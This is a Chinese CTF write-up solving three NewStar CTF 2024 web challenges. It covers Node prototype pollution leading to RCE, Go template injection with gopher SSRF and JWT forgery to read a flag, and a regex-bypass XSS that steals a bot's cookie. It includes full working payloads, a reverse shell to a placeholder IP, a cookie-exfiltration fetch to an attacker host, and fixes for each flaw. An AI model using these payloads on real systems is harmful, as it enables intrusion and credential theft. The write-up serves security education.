2082 字
10 分钟
NewStar CTF 2024 Web 全解(W4-W5):原型链污染 RCE / Go SSTI+curl Gopher SSRF / XSS 正则绕过

NewStar CTF 2024 Web 全解(W4-W5)#

官方 WP:https://newstar.wiki/wp/2024/。以下三题均从附件源码出发正向推导,并在本地完成复现验证(无 Docker 环境,全部用用户态工具链跑通:Node 16 / Go 1.22.5 / Python 标准库)。线上靶机赛后已关,flag 获取方式按题目环境说明。

#题目考点本地验证
1W4ezpollute原型链污染 → fork 子进程 RCE✅ node16 全链 4 次复现
2W4PangBai 过家家(4)Go SSTI + curl gopher SSRF 任意文件读✅ Go 1.22 端到端闭环
3W5PangBai 过家家(5)正则绕过 XSS + bot 偷 cookie✅ 正则实测 + mock e2e

1. ezpollute(Node/Koa,原型链污染 → RCE)#

题目速览#

Koa 图片水印服务,Dockerfilenode:16。三个关键路由:

  • POST /upload:上传图片 → 生成 userID(uuid) → 下发 token cookie,目录 uploads/<userID>/
  • POST /configuserConfig = JSON.parse(rawBody)clone(defaultWaterMarkConfig)merge(finalConfig, userConfig) → 写 uploads/<userID>/config.json —— 原型链污染点
  • POST /processfork(PhotoProcess.js, [userDir], { silent: true }) 子进程打水印打包 —— RCE 触发点

flag 生成(start.sh):echo "$ICQ_FLAG" > /flagflag 在容器 /flag 文件里

漏洞原理#

① merge 的 __proto__ 过滤为什么能绕过

merge 只检查 key === "__proto__",而 JSON 里键名是 "constructor""constructor" in target 对任何普通对象恒为真,于是 merge(target["constructor"], source["constructor"]) 一路递归到 Object.prototype

{"constructor": {"prototype": {
"NODE_OPTIONS": "--require /proc/self/environ",
"env": {"A": "require(\"child_process\").execSync(\"<命令>\")//"}
}}}

最终 Object.prototype.NODE_OPTIONSObject.prototype.env 被写进 服务进程(父进程) 的原型链。

② fork 为什么会读到被污染的对象(Node 16 特性)

Node 16 的 fork 实现是 options = { ...options }(保留普通 Object.prototype),后续 options.env / options.execArgv 沿原型链命中污染值;spawnnormalizeSpawnArguments 对 env 用 for..in 收集键(源码注释原话 “Prototype values are intentionally included”)。于是子进程环境变量变成:

A=require("child_process").execSync("echo PWNED > /tmp/x")//
NODE_OPTIONS=--require /proc/self/environ

③ NODE_OPTIONS + /proc/self/environ 即 RCE

子进程以 NODE_OPTIONS=--require /proc/self/environ 启动,Node 会在跑主模块之前先 require 该文件。/proc/self/environ 内容以 \x00 分隔、开头正是 A=require("child_process").execSync("...")//,无扩展名按 JS 模块加载:A = require("child_process").execSync("...")//// 把后面所有 NUL 分隔内容注释掉 → 命令在子进程启动阶段执行

④ 版本敏感性(重要)

  • Node 16(本题):完整链可用(本地实测 RCE 成功)。
  • Node 24:fork/spawn 已加固为 {__proto__: null, ...options},污染值进不了子进程 env,/proc/self/environ 加载直接 SyntaxError → 无 RCE。本地复现必须用 node:16(下载 node-v16.20.2 即可)。

攻击步骤(完整 payload)#

Terminal window
# Step 1:上传图片拿 token(Set-Cookie: token=<userID>.<sig>)
curl -v -F 'images=@soyo.jpg' http://127.0.0.1:3000/upload
# Step 2:POST /config 原型链污染
curl -X POST http://127.0.0.1:3000/config \
-H 'Content-Type: application/json' \
-b 'token=<userID>.<sig>' \
-d '{"constructor":{"prototype":{"NODE_OPTIONS":"--require /proc/self/environ","env":{"A":"require(\"child_process\").execSync(\"echo PWNED > /tmp/ezpollute_pwned_xxx\")//"}}}}'
# Step 3:POST /process 触发 fork → 子进程启动即执行命令
curl -X POST http://127.0.0.1:3000/process -b 'token=<userID>.<sig>'

A 的值必须以 // 结尾(注释掉 environ 其余内容),命令用 shell 内建或绝对路径(污染后子进程 env 被整个替换、没有 PATH)。

本地验证证据(node-v16.20.2 跑服务)#

[2] POST /config (prototype pollution payload) → {"code":1,"msg":"Config updated successfully"}
[3] POST /process → {"code":1,"msg":"Photos processed successfully"}
[+] RCE CONFIRMED! marker file: /tmp/ezpollute_pwned_fresh_run → PWNED_fresh_run

另做「无回显 RCE 数据带出」验证:让子进程 cat /flag > static/f1ag.txt 这类写文件后 GET /f1ag.txt 回读成功(LEAKED_EXFIL2)——即线上不出网时拿 flag 的路径。

线上化拿 flag#

  • flag 在 /flag,格式 flag{...}
  • 出网:反弹 shell,A 设为 require("child_process").execSync("bash -c 'bash -i >& /dev/tcp/<公网IP>/<端口> 0>&1'")//,然后 cat /flag
  • 不出网(比赛时即如此):require("child_process").execSync("cat /flag > /app/static/f1ag.txt")//GET /f1ag.txt;或官方做法:echo <base64(WebShell)> | base64 -d > /app/index.js 覆盖入口,靠 node-dev 热重载直接得到有回显 WebShell。

修复建议#

mergeObject.create(null) 或对 key in target 排除 constructor/__proto__;升级 Node(新版 fork 天然阻断此链);深拷贝改用 structuredClone 并对用户输入白名单校验。


2. PangBai 过家家(4)(Go,SSTI + curl gopher SSRF)#

官方开源:https://github.com/cnily03-hive/PangBai-Go

题目速览#

三个路由://eye(模板渲染)、/favorite(签名文件渲染)。flag 在容器环境变量 FLAGDockerfile ENV FLAG=...)。官方提示:只需读 main.go

源码关键点#

  • /eye?input=xxxstrings.Replace(eye.html, "%s", input, -1)template.ParseGo text/template SSTI。上下文是 Helper{User, Config}StringerString(){{ . }} 只返回 [struct],但导出字段可直接访问:{{ .Config.JwtKey }}
  • Helper.Curl
func (c Helper) Curl(url string) string {
cmd := exec.Command("curl", "-fsSL", "--", url)
...
}

模板可调用导出方法 {{ .Curl "url" }}-- 挡掉参数注入,但 curl 支持 gopher 协议 → 任意原始 TCP 报文。

  • /favorite PUT:RemoteAddr 必须是 127.0.0.1/[::1],JWT user == "Papa",body 即新 config.SignaturePath;GET /favorite 读取该文件并 {{ . }} 渲染 → 任意文件读
  • JWT:HS256,密钥 config.JwtKey(64 位随机串);claims 键名 user

漏洞原理#

  1. SSTIinput 未过滤进入 template.Parse,模板表达式在服务端执行(含调用 Curl 起系统进程)。
  2. JWT 密钥泄露{{ .Config.JwtKey }} 直接读导出字段 → 可伪造任意 user 的 HS256 token。
  3. localhost 校验如何穿透RemoteAddr 基于 TCP 对端。通过 {{ .Curl "gopher://127.0.0.1:8000/_..." }},是服务端自己向本机发连接 → 对端自然就是 127.0.0.1。
  4. gophergopher://host:port/_<百分号编码的原始报文>,curl 解码后把报文原样发到 TCP 上 → 以 127.0.0.1 身份发出方法为 PUT、带 Cookie 的合法 HTTP。
  5. 读环境变量/proc/self/environ 渲染出 FLAG=flag{...}

攻击步骤#

Step 1|SSTI 泄露 JWT 密钥

Terminal window
curl "http://127.0.0.1:8000/eye?input=%7B%7B.Config.JwtKey%7D%7D"
# <span id="output">1WMlGwF6h8i3Cl9WU3defP2AaKJn9BsfDl3Ye0Zf0pgJOOPbggSOHfD3XpZpMucA</span>

Step 2|伪造 HS256 JWT(user=Papa)(纯标准库)

import base64, hashlib, hmac, json, time
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
key = "<泄露的 JwtKey>"
header = b64u(json.dumps({"alg":"HS256","typ":"JWT"}, separators=(",",":")).encode())
payload = b64u(json.dumps({"user":"Papa","exp":int(time.time())+7200}, separators=(",",":")).encode())
sig = b64u(hmac.new(key.encode(), f"{header}.{payload}".encode(), hashlib.sha256).digest())
token = f"{header}.{payload}.{sig}"

Step 3|构造原始 HTTP PUT 报文 → gopher URL

PUT /favorite HTTP/1.1
Host: 127.0.0.1:8000
Cookie: token=eyJ...
Content-Length: 18 # 必须精确;/proc/self/environ 是 18 字节
Connection: close # 防 curl gopher 等 EOF 挂起
/proc/self/environ # body 不带换行

百分号编码(除字母数字外全 %XX,保证解码字节一致):

gopher://127.0.0.1:8000/_PUT%20%2Ffavorite%20HTTP%2F1%2E1%0D%0AHost%3A%20127%2E0%2E0%2E1%3A8000%0D%0ACookie%3A%20token%3D...%0D%0AContent%2DLength%3A%2018%0D%0AConnection%3A%20close%0D%0A%0D%0A%2Fproc%2Fself%2Fenviron

编码坑:gopher 内层 %XX 是给 curl 解码的;/eye?input= 外层查询参数必须把内层 % 再编码成 %25,否则被 Go r.URL.Query() 提前解一层。

Step 4|SSTI 触发 SSRF(带 Papa Cookie)

Terminal window
curl -s "http://127.0.0.1:8000/eye?input=%7B%7B.Curl%20%22gopher%3A%2F%2F...%22%7D%7D" \
-H "Cookie: token=eyJ..."
# 输出 ok;服务端日志:Curl: gopher://... / Request IP: 127.0.0.1

Step 5|GET /favorite 读 flag

Terminal window
curl -s http://127.0.0.1:8000/favorite
# 页面含 FLAG=flag{...},正则 flag\{[^}]+\} 提取

一键:python3 solves/web/pangbai4/solve.py(纯标准库:泄露 key → 伪造 JWT → 构造 gopher → 触发 SSRF → 读 /favorite → 提取 flag)。

本地验证证据#

用户态安装 Go 1.22.5(proxy.golang.org 不通,GOPROXY=https://goproxy.cn,direct 拉依赖成功),FLAG='flag{local_test_pangbai4_9f8e7d6c}' 启动服务,端到端一次打通(重启后二次复现):

[+] JWT key: 1WMlGwF6h8i3Cl9WU3defP2AaKJn9BsfDl3Ye0Zf0pgJOOPbggSOHfD3XpZpMucA
[+] gopher URL 长度: 344
[+] FLAG: flag{local_test_pangbai4_9f8e7d6c}

服务端日志佐证:Request IP: 127.0.0.1。本机 curl 8.5.0 支持 gopher 协议,与线上 alpine curl 行为一致。

修复建议#

用户输入不要进入 template.Parse(先解析静态模板,输入只作数据传入);鉴权不依赖 RemoteAddr;模板上下文不要整体暴露 Config(含密钥)与方法 Curl;curl 限制协议(--proto -gopher)与目标地址并加 --max-time


3. PangBai 过家家(5)(Koa+Puppeteer,正则绕过 XSS)#

官方开源:https://github.com/cnily03-hive/PangBai-XSS

题目速览#

  • POST /api/send:提交 {title, content}(title≤50、content≤500)→ 返回 {id}(内存 Map 存信);
  • POST /api/call:bot 访问 http://localhost:3000/box/<id>
  • FLAG 在 bot CookieFLAG=flag{...}httpOnly:false(JS 直接 document.cookie 可读)、domain:localhost:3000sameSite:Strict
  • /box/:id 渲染 title/content,唯一防线是 safe_html 三条正则;开源仓库确认 art-template {{@ }} 不转义原始输出、无 CSP。

漏洞原理:三条正则为什么能被「多行标签」绕过#

function safe_html(str: string) {
return str
.replace(/<.*>/igm, '')
.replace(/<\.*>/igm, '')
.replace(/<.*>.*<\/.*>/igm, '');
}
  • i 忽略大小写;g 全局;m 多行——只改变 ^/$ 语义. 仍然不匹配换行符;题目没有用 ss 才会让 . 匹配 \n)。
  • 因此把 <>不同行<.*> 在同一条行内找不到成对的 >,三条正则全部失配,标签原样保留,浏览器折叠换行后仍是合法可执行 HTML。

关键反例<script>\nalert(1)\n</script> 不能绕过——R1 会分别吞掉 <script></script>(它们各自的 > 仍在同一行),只剩内容。必须让每个 > 与对应的 < 异行(官方 EXP 的 .replace(/\>/g,'\n>') 正是此技巧)。

攻击步骤与 payload#

方式 A(官方确认靶机不出网,推荐)——bot 把 cookie 回写成新信件,再从信箱读:

<script
>fetch('/api/send',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({title:'leak',content:document.cookie})})</script
>

方式 B(靶机出网/有公网接收端)——no-cors 简单请求打点:

<script
>fetch('http://ATTACKER:54100?leak=1',{method:'POST',body:document.cookie,'no-cors':true})</script
>

流程:POST /api/send(title 随机、content=载荷)→ POST /api/call {"id":...} 触发 bot → 方式 A 轮询 /box/ 找到标题 leak-* 回信 → 读 /box/<新id> 提取 content 里的 FLAG=flag{...}。脚本:python3 solves/web/pangbai5/solve.py <靶机> --mode server(或 --mode receiver --receiver http://公网IP:54100)。

验证证据#

verify_regex.js 原样复刻三条正则实测:<img\nsrc=x\nonerror=...><svg\nonload=...><script\n>fetch(...)</script\n><a\nhref="javascript:...">x</a\n> 全部零命中、原样保留;对照组确认反例行为。本地 mock 靶机(复刻正则 + 原始渲染 + 模拟 bot)端到端双模式均一次拿到 FLAG=flag{mock_flag}

修复建议#

用真正的 HTML 消毒库(DOMPurify 等)替代正则;设置 CSP;bot cookie 加 httpOnly:true/api/call 只允许访问站内白名单路径。


附:产物#

  • 攻击脚本:solves/web/{ezpollute,pangbai4,pangbai5}/solve.py(均纯标准库、可复跑、带注释;pangbai5 另有 verify_regex.js
  • 完整分题 writeup:writeups/web/ezpollute.mdwriteups/web/pangbai4.mdwriteups/web/pangbai5.md